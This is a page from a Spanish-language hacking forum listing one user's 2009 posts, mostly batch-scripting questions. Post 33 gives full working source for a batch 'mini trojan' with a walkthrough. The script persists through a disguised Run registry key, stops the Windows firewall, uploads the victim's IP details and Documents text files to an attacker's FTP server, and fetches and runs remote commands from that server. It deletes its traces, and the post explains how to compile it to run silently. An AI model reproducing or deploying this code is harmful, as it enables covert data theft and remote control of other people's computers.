elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 3 [4]
31  Programación / Scripting / Dudas FTP en [BATCH] en: 12 Septiembre 2009, 02:51 am

  Buenas,


 Tengo dos dudas sobre el comando ftp en Batch.



  La primera duda, es que cuando entro al comando FTP en la consola MS-DOS, pongo help y me salen todos los sub-comandos, pero si quiero ver la manera de ejecutarlos es decir ver sus definiciones.. etc, ejemplo:  get /? , pues pongo eso y no me sale, ¿Cuál es la forma para poder ver la estructura y definición de cada sub-comando?


  Y luego ya que sin la duda 1, no puedo resolver este problema, y es que yo por ejemplo tengo en el ftp un archivo llamado archivo1.txt, o archivo1.bat, lo que sea, y quiero descargarlo pues pongo get archivo1.bat/.txt, bien, pero no sé a donde va, si yo quiero por ejemplo mandarlo a C:\ o C:\WINDOWS, lo que sea, ¿Cómo debo ponerlo?


   Saludos y gracias.
32  Programación / Scripting / Comando Copy [BATCH] en: 11 Septiembre 2009, 21:04 pm


   
       Buenas,


 
   Estoy intentado que un Batch a abrirse se copie dentro de la carpeta windows, pero no me sale.


  Pongo:

Código:
copy ejemplo.bat C:\WINDOWS

O este otro:

Código:
if exist ejemplo.bat copy C:\WINDOWS


  Pruebo eso y no funciona. ¿Qué ago mal?


  Saludos.
33  Programación / Scripting / Mini Troyano por FTP [BATCH] en: 29 Agosto 2009, 05:57 am
Código:
  Bueno creo este tema porque tengo unas cuantas dudas, estoy haciendo una especie de "troyano", por Batch.


  Y quiero saber como lo puedo meter al registro de Windows, para que cada vez que se inicie se re-active.

  También cómo poner un archivo llamado por ejemplo "órdenes" en el servidor y que lo abra y lo haga, como por ejemplo copiar un archivo del pc y mandarlo al servidor.

  Y una última cosa, igual suena raro, pero por si es posible, quisiera saber si es posible que el batch al ejecutarse lo haga de forma silenciosa y no se vea que sube los archivos y eso....

 El código:

[code] @echo off

set user=XXXX
set pass=XXXXX
set dominio=XXXXXXX


echo open %dominio%>>datos.txt
echo %user%>>datos.txt
echo %pass%>>datos.txt
echo put info.txt>>datos.txt
echo bye>>datos.txt

ipconfig>>info.txt
ftp -s:datos.txt

del info.txt
del datos.txt

exit


  Como ven es simple, pero básicamente es la primera cosa un poco decente que hago de batch.

 Un saludo,

 Edito: en ese código, el ejemplo a subir fue la IP , y los datos que te da al poner "ipconfig" en el ms-dos.

  

 E D I TO :

  Aquí el código del Mini-Troyano .
Código:
@echo off
copy /y "%~dpnx0" "%windir%\"
reg add HKLM\software\microsoft\windows\currentversion\run /v "Actualización" /d C:\WINDOWS\Actualización.bat /f

cd \
net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"

set user=XXXXXX
set pass=XXXXXX
set dominio=XXXXXX

echo open %dominio%>>datos.txt
echo %user%>>datos.txt
echo %pass%>>datos.txt
echo put %USERNAME%.txt>>datos.txt
echo put %homedrive%%homepath%\Mis Documentos\*.txt>>datos.txt
echo get ordenes.bat C:\WINDOWS\system32\ordenes.bat>>datos.txt
echo bye>>datos.txt


ipconfig>>%USERNAME%.txt
ftp -s:datos.txt
start C:\WINDOWS\system32\ordenes.bat



del %USERNAME%.txt
del datos.txt



pause>nul
exit




   Primero se copia a la carpeta de Windows ( por si es borrado ), y luego se añade al registro de Windows.

   Después por si tienen el Firewall de Windows y este detecta las conexiones FTP, pues lo desactiva. ( Obviamente con otro Firewall no funcionaría )

   Luego en donde las XXXX, ponemos los datos.

Código:
echo open %dominio%>>datos.txt
echo %user%>>datos.txt
echo %pass%>>datos.txt
echo put %USERNAME%.txt>>datos.txt
echo get ordenes.bat C:\WINDOWS\system32\ordenes.bat>>datos.txt
echo bye>>datos.txt

  Ese trozo es la información que tendrá que hacerse en cuanto se abra el FTP, primero se conecta, luego subirá el archivo %USERNAME% que justo debajo sale, subirá la IP de la víctima. ( eso es un ejemplo si queréis podéis quitarlo ), y luego descargará el archivo ordenes.bat, que tendremos que poner en nuestro servidor FTP, para que se descargue.( este se ponrá en la carpeta de system32)


Código:
ipconfig>>%USERNAME%.txt
ftp -s:datos.txt
start C:\WINDOWS\system32\ordenes.bat

del %USERNAME%.txt
del datos.txt

pause>nul
exit

  Aquí creará el archivo %username% ( nombre del usuario ), con dentro la ip, esto lo tomé como ejemplo, como dije podéis borrarlo y usar solo las ordenes mediante el archivo ordenes.bat

  Luego ftp-s:datos.txt, es el archivo que leerá el sistema para entrar al ftp y relizar las ordenes.

 Luego en start ........ordenes.bat, lo que hace es abrir el archivo ordenes.bat y ahí pondremos lo que queramos, el nombre tiene que ser ordenes y extensión .bat, si no no funcionará pero podéis cambiarlo y que se descargue lo que sea. Y obviamente, tiene que ser en lenguaje BATCH. ( como dije, podéis subir lo que queráis, una foto, un .exe, pero tenéis que cambiar el código). El archivo ordenes se abrirá cada reinicio, así que tenéis que cambiarlo si queréis realizar otras acciones.

  Luego para no dejar pruebas evidentes, se borra el archivo username, y datos.


  Si algo no funciona o hay alguna duda, aquí estoy.

  Se me olvidaba, para que haga todo de manera silenciosa ( sin aparecer en pantalla ) tenéis que usar un compilador, como Quick Batch File Compiler. Y en opciones modo Ghost. Yo uso uno portable, raro el que se instalaba me detectaba como virus el avast... no se porqué... pero si cambiáis el nombre o algo a veces deja...


   Saludos.
[/code]
34  Programación / Scripting / Batch comando DEL - Borrar archivos en: 28 Agosto 2009, 00:13 am
  Buenas

 Pues tengo una duda, cuando me inicie en el tema de los batch vi el tipico código de cargarte un pc poniendo el comando del y borrar la carpeta Windows, pero yo he probado el código con una carpeta como ejemplo "Nueva Carpeta", y no funciona, me pueden decir el por qué¿?.

  Gracias y un saludo.
35  Programación / Scripting / Hacer elevaciones en Batch en: 22 Agosto 2009, 22:34 pm
 Buenas buscando como hacer elevaciones en Batch , haví visto por ejemplo esto:

 set /p cuadradro=%cuadrado% * %cuadrado% * %cuadrado% * %cuadrado%

  No hay alguna forma posible de hacerlo menos complicado para numeros mayores... , por ejemplo si estás haciendo un programa de cálculos y te ponen que hay que elevar al 30 , pues, sería largo  :(

 Saludos.
36  Comunicaciones / Hacking Mobile / Hackear usando Bluetooh en: 22 Agosto 2009, 17:31 pm
 Buenas este es mi primer post en este foro, y quisiera comenzar con una pregunta.


  Me he bajado una aplicación Java para poder usar más o menos por control remoto un móvil desde otro móvil, usando Bluetooh, para poder conectarme a él debo confirmarlos entre sí , y luego para no pedir más confirmaciones en el futuro entrar en el otro móvil y poner en conexiones que no pregunte al conectarse entre ellos, mi duda es, ¿ es posible conectarse un móvil a otro sin tener que entrar al otro móvil para confirmarlo?


  Saludos, gracias.
Páginas: 1 2 3 [4]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines